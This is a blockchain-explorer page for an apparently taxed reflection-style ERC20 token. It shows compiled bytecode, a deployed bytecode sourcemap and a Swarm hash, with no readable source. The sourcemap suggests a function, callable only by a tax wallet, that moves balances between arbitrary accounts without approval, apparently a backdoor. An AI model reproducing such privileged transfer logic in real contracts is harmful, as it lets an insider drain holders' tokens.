57610ea5610fd0565b610eb0848484610ffe565b80610b2257610b22600a54600855600b54600955565b6000806000610ed36110f5565b9092509050610ee28282610ee9565b9250505090565b6000610bdf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611139565b6000808080610f456064610f3f8989611167565b90610ee9565b90506000610f586064610f3f8a89611167565b90506000610f7082610f6a8b86610c43565b90610c43565b9992985090965090945050505050565b6000808080610f8f8886611167565b90506000610f9d8887611167565b90506000610fab8888611167565b90506000610fbd82610f6a8686610c43565b939b939a50919850919650505050505050565b600854158015610fe05750600954155b15610fe757565b60088054600a5560098054600b5560009182905555565b60008060008060008061101087610be6565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506110429087610c43565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546110719086610c85565b6001600160a01b038916600090815260026020526040902055611093816111e9565b61109d8483611233565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110e291815260200190565b60405180910390a3505050505050505050565b600654600090819069d3c21bcecceda10000006111128282610ee9565b8210156111305750506006549269d3c21bcecceda100000092509050565b90939092509050565b6000818361115a5760405162461bcd60e51b81526004016103b79190611257565b506000610b5984866114ad565b600082600003611179575060006106a6565b600061118583856114cf565b90508261119285836114ad565b14610bdf5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b7565b60006111f3610ec6565b905060006112018383611167565b3060009081526002602052604090205490915061121e9082610c85565b30600090815260026020526040902055505050565b6006546112409083610c43565b6006556007546112509082610c85565b6007555050565b600060208083528351808285015260005b8181101561128457858101830151858201604001528201611268565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461094257600080fd5b600080604083850312156112cd57600080fd5b82356112d8816112a5565b946020939093013593505050565b6000806000606084860312156112fb57600080fd5b8335611306816112a5565b92506020840135611316816112a5565b929592945050506040919091013590565b60006020828403121561133957600080fd5b8135610bdf816112a5565b6000806040838503121561135757600080fd5b8235611362816112a5565b91506020830135611372816112a5565b809150509250929050565b60006020828403121561138f57600080fd5b8151610bdf816112a5565b6000806000606084860312156113af57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156113da57600080fd5b81518015158114610bdf57600080fd5b634e487b7160e01b600052601160045260246000fd5b818103818111156106a6576106a66113ea565b808201808211156106a6576106a66113ea565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561148c5784516001600160a01b031683529383019391830191600101611467565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826114ca57634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176106a6576106a66113ea56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205dd52eefad1a0724c17f1c047b1e37a97efdbdc8b256a909642815cbb81aea7064736f6c63430008110033
Deployed Bytecode Sourcemap
4061:9363:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13407:4;13385:10;:27;13377:36;;;;;;4061:9363;;;;;7565:630;;;:::i;5526:83::-;;;;;;;;;;-1:-1:-1;5596:5:0;;;;;;;;;;;;-1:-1:-1;;;5596:5:0;;;;5526:83;;;;;;;:::i;:::-;;;;;;;;6468:161;;;;;;;;;;-1:-1:-1;6468:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6468:161:0;1023:187:1;5803:95:0;;;;;;;;;;-1:-1:-1;4468:12:0;5803:95;;;1361:25:1;;;1349:2;1334:18;5803:95:0;1215:177:1;6637:313:0;;;;;;;;;;-1:-1:-1;6637:313:0;;;;;:::i;:::-;;:::i;5712:83::-;;;;;;;;;;-1:-1:-1;5712:83:0;;4735:2;2000:36:1;;1988:2;1973:18;5712:83:0;1858:184:1;5044:28:0;;;;;;;;;;-1:-1:-1;5044:28:0;;;;-1:-1:-1;;;;;5044:28:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;5044:28:0;2047:203:1;5906:138:0;;;;;;;;;;-1:-1:-1;5906:138:0;;;;;:::i;:::-;;:::i;3140:148::-;;;;;;;;;;;;;:::i;2926:79::-;;;;;;;;;;-1:-1:-1;2964:7:0;2991:6;-1:-1:-1;;;;;2991:6:0;2926:79;;9085:119;;;;;;;;;;-1:-1:-1;9085:119:0;;;;;:::i;:::-;;:::i;5617:87::-;;;;;;;;;;-1:-1:-1;5689:7:0;;;;;;;;;;;;-1:-1:-1;;;5689:7:0;;;;5617:87;;6142:167;;;;;;;;;;-1:-1:-1;6142:167:0;;;;;:::i;:::-;;:::i;8691:386::-;;;;;;;;;;-1:-1:-1;8691:386:0;;;;;:::i;:::-;;:::i;6317:143::-;;;;;;;;;;-1:-1:-1;6317:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6425:18:0;;;6398:7;6425:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6317:143;9212:94;;;;;;;;;;;;;:::i;7565:630::-;3053:6;;-1:-1:-1;;;;;3053:6:0;415:10;3053:22;3045:67;;;;-1:-1:-1;;;3045:67:0;;3362:2:1;3045:67:0;;;3344:21:1;;;3381:18;;;3374:30;3440:34;3420:18;;;3413:62;3492:18;;3045:67:0;;;;;;;;;7739:15:::1;:34:::0;;-1:-1:-1;;;;;;7739:34:0::1;7685:42;7739:34:::0;;::::1;::::0;;;7784:58:::1;7801:4;7685:42:::0;4468:12:::1;7784:8;:58::i;:::-;7887:16;-1:-1:-1::0;;;;;7887:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7869:56:0::1;;7934:4;7941:16;-1:-1:-1::0;;;;;7941:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7869:96;::::0;-1:-1:-1;;;;;;7869:96:0::1;::::0;;;;;;-1:-1:-1;;;;;4007:15:1;;;7869:96:0::1;::::0;::::1;3989:34:1::0;4059:15;;4039:18;;;4032:43;3924:18;;7869:96:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7853:13;:112:::0;;-1:-1:-1;;;;;;7853:112:0::1;-1:-1:-1::0;;;;;7853:112:0;;::::1;;::::0;;7976:15:::1;::::0;::::1;:31;8015:21;8046:4;8052:24;8046:4:::0;8052:9:::1;:24::i;:::-;8077:1;8079::::0;8081:7:::1;2964::::0;2991:6;-1:-1:-1;;;;;2991:6:0;;2926:79;8081:7:::1;7976:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;7976:129:0;;;-1:-1:-1;;;;;4445:15:1;;;7976:129:0::1;::::0;::::1;4427:34:1::0;4477:18;;;4470:34;;;;4520:18;;;4513:34;;;;4563:18;;;4556:34;4627:15;;;4606:19;;;4599:44;8089:15:0::1;4659:19:1::0;;;4652:35;4361:19;;7976:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;8123:13:0::1;::::0;8154:15:::1;::::0;8116:71:::1;::::0;-1:-1:-1;;;8116:71:0;;-1:-1:-1;;;;;8154:15:0;;::::1;8116:71;::::0;::::1;5183:51:1::0;-1:-1:-1;;5250:18:1;;;5243:34;8123:13:0;::::1;::::0;-1:-1:-1;8116:29:0::1;::::0;5156:18:1;;8116:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;7617:578;7565:630::o:0;6468:161::-;6543:4;6560:39;415:10;6583:7;6592:6;6560:8;:39::i;:::-;-1:-1:-1;6617:4:0;6468:161;;;;;:::o;6637:313::-;6735:4;6752:36;6762:6;6770:9;6781:6;6752:9;:36::i;:::-;6799:121;6808:6;415:10;6830:89;6868:6;6830:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6830:19:0;;;;;;:11;:19;;;;;;;;415:10;6830:33;;;;;;;;;;:37;:89::i;:::-;6799:8;:121::i;:::-;-1:-1:-1;6938:4:0;6637:313;;;;;:::o;5906:138::-;-1:-1:-1;;;;;6019:16:0;;5972:7;6019:16;;;:7;:16;;;;;;5999:37;;:19;:37::i;3140:148::-;3053:6;;-1:-1:-1;;;;;3053:6:0;415:10;3053:22;3045:67;;;;-1:-1:-1;;;3045:67:0;;3362:2:1;3045:67:0;;;3344:21:1;;;3381:18;;;3374:30;3440:34;3420:18;;;3413:62;3492:18;;3045:67:0;3160:356:1;3045:67:0;3247:1:::1;3231:6:::0;;3210:40:::1;::::0;-1:-1:-1;;;;;3231:6:0;;::::1;::::0;3210:40:::1;::::0;3247:1;;3210:40:::1;3278:1;3261:19:::0;;-1:-1:-1;;;;;;3261:19:0::1;::::0;;3140:148::o;9085:119::-;6104:11;;-1:-1:-1;;;;;6104:11:0;6090:10;:25;6082:34;;;;;;9172:11:::1;:24:::0;;-1:-1:-1;;;;;;9172:24:0::1;-1:-1:-1::0;;;;;9172:24:0;;;::::1;::::0;;;::::1;::::0;;9085:119::o;6142:167::-;6220:4;6237:42;415:10;6261:9;6272:6;6237:9;:42::i;8691:386::-;6104:11;;-1:-1:-1;;;;;6104:11:0;6090:10;:25;6082:34;;;;;;8791:15:::1;8808:23:::0;8834::::1;8863:18;8874:6;8863:10;:18::i;:::-;-1:-1:-1::0;;;;;;;8910:15:0;::::1;;::::0;;;:7:::1;:15;::::0;;;;;8790:91;;-1:-1:-1;8790:91:0;;-1:-1:-1;8790:91:0;;-1:-1:-1;8910:28:0::1;::::0;:15;-1:-1:-1;8790:91:0;8910:19:::1;:28::i;:::-;-1:-1:-1::0;;;;;8892:15:0;;::::1;;::::0;;;:7:::1;:15;::::0;;;;;:46;;;;8970:18;;::::1;::::0;;;;:39:::1;::::0;8993:15;8970:22:::1;:39::i;:::-;-1:-1:-1::0;;;;;8949:18:0;;::::1;;::::0;;;:7:::1;:18;::::0;;;;;;:60;;;;9025:44;;;;::::1;::::0;::::1;::::0;::::1;::::0;9053:15;1361:25:1;;1349:2;1334:18;;1215:177;9025:44:0::1;;;;;;;;8781:296;;;8691:386:::0;;;:::o;9212:94::-;9255:11;;:43;;-1:-1:-1;;;;;9255:11:0;;;;9276:21;9255:43;;;;;:11;:43;:11;:43;9276:21;9255:11;:43;;;;;;;;;;;;;;;;;;;;;9212:94::o;9419:335::-;-1:-1:-1;;;;;9512:19:0;;9504:68;;;;-1:-1:-1;;;9504:68:0;;5772:2:1;9504:68:0;;;5754:21:1;5811:2;5791:18;;;5784:30;5850:34;5830:18;;;5823:62;-1:-1:-1;;;5901:18:1;;;5894:34;5945:19;;9504:68:0;5570:400:1;9504:68:0;-1:-1:-1;;;;;9591:21:0;;9583:68;;;;-1:-1:-1;;;9583:68:0;;6177:2:1;9583:68:0;;;6159:21:1;6216:2;6196:18;;;6189:30;6255:34;6235:18;;;6228:62;-1:-1:-1;;;6306:18:1;;;6299:32;6348:19;;9583:68:0;5975:398:1;9583:68:0;-1:-1:-1;;;;;9662:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9714:32;;1361:25:1;;;9714:32:0;;1334:18:1;9714:32:0;;;;;;;9419:335;;;:::o;9766:735::-;-1:-1:-1;;;;;9879:24:0;;9846:12;9879:24;;;:18;:24;;;;;;9861:4;;9879:24;;;:50;;-1:-1:-1;;;;;;9907:22:0;;;;;;:18;:22;;;;;;;;9879:50;9876:569;;;-1:-1:-1;9956:5:0;9876:569;;;9994:28;10025:24;10043:4;10025:9;:24::i;:::-;10070:6;;9994:55;;-1:-1:-1;;;;10070:6:0;;;;10069:7;:32;;;;-1:-1:-1;10088:13:0;;-1:-1:-1;;;;;10080:21:0;;;10088:13;;10080:21;;10069:32;10066:368;;;10125:24;;10122:110;;10174:38;10191:20;10174:16;:38::i;:::-;10279:21;10322:22;;10319:100;;10369:30;10377:21;10369:7;:30::i;:::-;10103:331;10066:368;9979:466;9876:569;10455:38;10470:4;10475:2;10478:6;10485:7;10455:14;:38::i;:::-;9835:666;9766:735;;;:::o;1472:190::-;1558:7;1594:12;1586:6;;;;1578:29;;;;-1:-1:-1;;;1578:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1618:9:0;1630:5;1634:1;1630;:5;:::i;:::-;1618:17;1472:190;-1:-1:-1;;;;;1472:190:0:o;6958:254::-;7025:7;7064;;7053;:18;;7045:73;;;;-1:-1:-1;;;7045:73:0;;6845:2:1;7045:73:0;;;6827:21:1;6884:2;6864:18;;;6857:30;6923:34;6903:18;;;6896:62;-1:-1:-1;;;6974:18:1;;;6967:40;7024:19;;7045:73:0;6643:406:1;7045:73:0;7129:19;7152:10;:8;:10::i;:::-;7129:33;-1:-1:-1;7180:24:0;:7;7129:33;7180:11;:24::i;:::-;7173:31;6958:254;-1:-1:-1;;;6958:254:0:o;11278:468::-;11337:7;11346;11355;11364;11373;11382;11403:23;11428:12;11442:13;11459:39;11471:7;11480;;11489:8;;11459:11;:39::i;:::-;11402:96;;;;;;11509:19;11532:10;:8;:10::i;:::-;11509:33;;11554:15;11571:23;11596:12;11612:46;11624:7;11633:4;11639:5;11646:11;11612;:46::i;:::-;11553:105;;-1:-1:-1;11553:105:0;-1:-1:-1;11553:105:0;-1:-1:-1;11709:15:0;;-1:-1:-1;11726:4:0;;-1:-1:-1;11732:5:0;;-1:-1:-1;;;;;11278:468:0;;;;;;;:::o;1328:136::-;1386:7;1413:43;1417:1;1420;1413:43;;;;;;;;;;;;;;;;;:3;:43::i;1141:179::-;1199:7;;1231:5;1235:1;1231;:5;:::i;:::-;1219:17;;1260:1;1255;:6;;1247:46;;;;-1:-1:-1;;;1247:46:0;;7386:2:1;1247:46:0;;;7368:21:1;7425:2;7405:18;;;7398:30;7464:29;7444:18;;;7437:57;7511:18;;1247:46:0;7184:351:1;8203:480:0;5144:6;:13;;-1:-1:-1;;;;5144:13:0;-1:-1:-1;;;5144:13:0;;;8302:16:::1;::::0;;8316:1:::1;8302:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8302:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8302:16:0::1;8278:40;;8347:4;8329;8334:1;8329:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8329:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8373:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;8373:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;8329:7;;8373:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8363:4;8368:1;8363:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8363:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;8438:15:::1;::::0;8406:62:::1;::::0;8423:4:::1;::::0;8438:15:::1;8456:11:::0;8406:8:::1;:62::i;:::-;8479:15;::::0;:196:::1;::::0;-1:-1:-1;;;8479:196:0;;-1:-1:-1;;;;;8479:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;8560:11;;8479:15:::1;::::0;8602:4;;8629::::1;::::0;8649:15:::1;::::0;8479:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5180:6:0;:14;;-1:-1:-1;;;;5180:14:0;;;-1:-1:-1;;;;8203:480:0:o;9322:88::-;9374:11;;:28;;-1:-1:-1;;;;;9374:11:0;;;;:28;;;;;9395:6;;9374:11;:28;:11;:28;9395:6;9374:11;:28;;;;;;;;;;;;;;;;;;;10509:263;10621:7;10617:40;;10643:14;:12;:14::i;:::-;10668:44;10686:6;10694:9;10705:6;10668:17;:44::i;:::-;10727:7;10723:41;;10749:15;7496;;7486:7;:25;7533:16;;7522:8;:27;7442:115;12113:163;12154:7;12175:15;12192;12211:19;:17;:19::i;:::-;12174:56;;-1:-1:-1;12174:56:0;-1:-1:-1;12248:20:0;12174:56;;12248:11;:20::i;:::-;12241:27;;;;12113:163;:::o;1923:132::-;1981:7;2008:39;2012:1;2015;2008:39;;;;;;;;;;;;;;;;;:3;:39::i;11754:351::-;11847:7;;;;11900:28;11924:3;11900:19;:7;11912:6;11900:11;:19::i;:::-;:23;;:28::i;:::-;11885:43;-1:-1:-1;11939:13:0;11955:29;11980:3;11955:20;:7;11967;11955:11;:20::i;:29::-;11939:45;-1:-1:-1;11995:23:0;12021:28;11939:45;12021:17;:7;12033:4;12021:11;:17::i;:::-;:21;;:28::i;:::-;11995:54;12085:4;;-1:-1:-1;12091:5:0;;-1:-1:-1;11754:351:0;;-1:-1:-1;;;;;11754:351:0:o;12547:409::-;12657:7;;;;12713:24;:7;12725:11;12713;:24::i;:::-;12695:42;-1:-1:-1;12748:12:0;12763:21;:4;12772:11;12763:8;:21::i;:::-;12748:36;-1:-1:-1;12795:13:0;12811:22;:5;12821:11;12811:9;:22::i;:::-;12795:38;-1:-1:-1;12844:23:0;12870:28;12795:38;12870:17;:7;12882:4;12870:11;:17::i;:28::-;12917:7;;;;-1:-1:-1;12943:4:0;;-1:-1:-1;12547:409:0;;-1:-1:-1;;;;;;;12547:409:0:o;7220:210::-;7266:7;;:12;:29;;;;-1:-1:-1;7282:8:0;;:13;7266:29;7263:41;;;7220:210::o;7263:41::-;7332:7;;;7314:15;:25;7369:8;;;7350:16;:27;-1:-1:-1;7388:11:0;;;;7410:12;7220:210::o;10780:490::-;10879:15;10896:23;10921:12;10935:23;10960:12;10974:13;10991:19;11002:7;10991:10;:19::i;:::-;-1:-1:-1;;;;;11039:15:0;;;;;;:7;:15;;;;;;10878:132;;-1:-1:-1;10878:132:0;;-1:-1:-1;10878:132:0;;-1:-1:-1;10878:132:0;-1:-1:-1;10878:132:0;-1:-1:-1;10878:132:0;-1:-1:-1;11039:28:0;;10878:132;11039:19;:28::i;:::-;-1:-1:-1;;;;;11021:15:0;;;;;;;:7;:15;;;;;;:46;;;;11099:18;;;;;;;:39;;11122:15;11099:22;:39::i;:::-;-1:-1:-1;;;;;11078:18:0;;;;;;:7;:18;;;;;:60;11152:16;11162:5;11152:9;:16::i;:::-;11179:23;11191:4;11197;11179:11;:23::i;:::-;11235:9;-1:-1:-1;;;;;11218:44:0;11227:6;-1:-1:-1;;;;;11218:44:0;;11246:15;11218:44;;;;1361:25:1;;1349:2;1334:18;;1215:177;11218:44:0;;;;;;;;10867:403;;;;;;10780:490;;;:::o;12284:255::-;12381:7;;12334;;;;4468:12;12448:20;12381:7;4468:12;12448:11;:20::i;:::-;12438:7;:30;12435:60;;;-1:-1:-1;;12478:7:0;;;4468:12;;-1:-1:-1;12284:255:0;-1:-1:-1;12284:255:0:o;12435:60::-;12514:7;;12523;;-1:-1:-1;12284:255:0;-1:-1:-1;12284:255:0:o;2063:189::-;2149:7;2184:12;2177:5;2169:28;;;;-1:-1:-1;;;2169:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2208:9:0;2220:5;2224:1;2220;:5;:::i;1670:245::-;1728:7;1751:1;1756;1751:6;1748:46;;-1:-1:-1;1781:1:0;1774:8;;1748:46;1804:9;1816:5;1820:1;1816;:5;:::i;:::-;1804:17;-1:-1:-1;1849:1:0;1840:5;1844:1;1804:17;1840:5;:::i;:::-;:10;1832:56;;;;-1:-1:-1;;;1832:56:0;;9386:2:1;1832:56:0;;;9368:21:1;9425:2;9405:18;;;9398:30;9464:34;9444:18;;;9437:62;-1:-1:-1;;;9515:18:1;;;9508:31;9556:19;;1832:56:0;9184:397:1;12964:214:0;13017:19;13040:10;:8;:10::i;:::-;13017:33;-1:-1:-1;13061:13:0;13077:22;:5;13017:33;13077:9;:22::i;:::-;13153:4;13137:22;;;;:7;:22;;;;;;13061:38;;-1:-1:-1;13137:33:0;;13061:38;13137:26;:33::i;:::-;13128:4;13112:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;12964:214:0:o;13186:147::-;13264:7;;:17;;13276:4;13264:11;:17::i;:::-;13254:7;:27;13305:10;;:20;;13320:4;13305:14;:20::i;:::-;13292:10;:33;-1:-1:-1;;13186:147:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2767:388::-;2835:6;2843;2896:2;2884:9;2875:7;2871:23;2867:32;2864:52;;;2912:1;2909;2902:12;2864:52;2951:9;2938:23;2970:31;2995:5;2970:31;:::i;:::-;3020:5;-1:-1:-1;3077:2:1;3062:18;;3049:32;3090:33;3049:32;3090:33;:::i;:::-;3142:7;3132:17;;;2767:388;;;;;:::o;3521:251::-;3591:6;3644:2;3632:9;3623:7;3619:23;3615:32;3612:52;;;3660:1;3657;3650:12;3612:52;3692:9;3686:16;3711:31;3736:5;3711:31;:::i;4698:306::-;4786:6;4794;4802;4855:2;4843:9;4834:7;4830:23;4826:32;4823:52;;;4871:1;4868;4861:12;4823:52;4900:9;4894:16;4884:26;;4950:2;4939:9;4935:18;4929:25;4919:35;;4994:2;4983:9;4979:18;4973:25;4963:35;;4698:306;;;;;:::o;5288:277::-;5355:6;5408:2;5396:9;5387:7;5383:23;5379:32;5376:52;;;5424:1;5421;5414:12;5376:52;5456:9;5450:16;5509:5;5502:13;5495:21;5488:5;5485:32;5475:60;;5531:1;5528;5521:12;6378:127;6439:10;6434:3;6430:20;6427:1;6420:31;6470:4;6467:1;6460:15;6494:4;6491:1;6484:15;6510:128;6577:9;;;6598:11;;;6595:37;;;6612:18;;:::i;7054:125::-;7119:9;;;7140:10;;;7137:36;;;7153:18;;:::i;7672:127::-;7733:10;7728:3;7724:20;7721:1;7714:31;7764:4;7761:1;7754:15;7788:4;7785:1;7778:15;7804:980;8066:4;8114:3;8103:9;8099:19;8145:6;8134:9;8127:25;8171:2;8209:6;8204:2;8193:9;8189:18;8182:34;8252:3;8247:2;8236:9;8232:18;8225:31;8276:6;8311;8305:13;8342:6;8334;8327:22;8380:3;8369:9;8365:19;8358:26;;8419:2;8411:6;8407:15;8393:29;;8440:1;8450:195;8464:6;8461:1;8458:13;8450:195;;;8529:13;;-1:-1:-1;;;;;8525:39:1;8513:52;;8620:15;;;;8585:12;;;;8561:1;8479:9;8450:195;;;-1:-1:-1;;;;;;;8701:32:1;;;;8696:2;8681:18;;8674:60;-1:-1:-1;;;8765:3:1;8750:19;8743:35;8662:3;7804:980;-1:-1:-1;;;7804:980:1:o;8789:217::-;8829:1;8855;8845:132;;8899:10;8894:3;8890:20;8887:1;8880:31;8934:4;8931:1;8924:15;8962:4;8959:1;8952:15;8845:132;-1:-1:-1;8991:9:1;;8789:217::o;9011:168::-;9084:9;;;9115;;9132:15;;;9126:22;;9112:37;9102:71;;9153:18;;:::i
Swarm Source
ipfs://5dd52eefad1a0724c17f1c047b1e37a97efdbdc8b256a909642815cbb81aea70
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.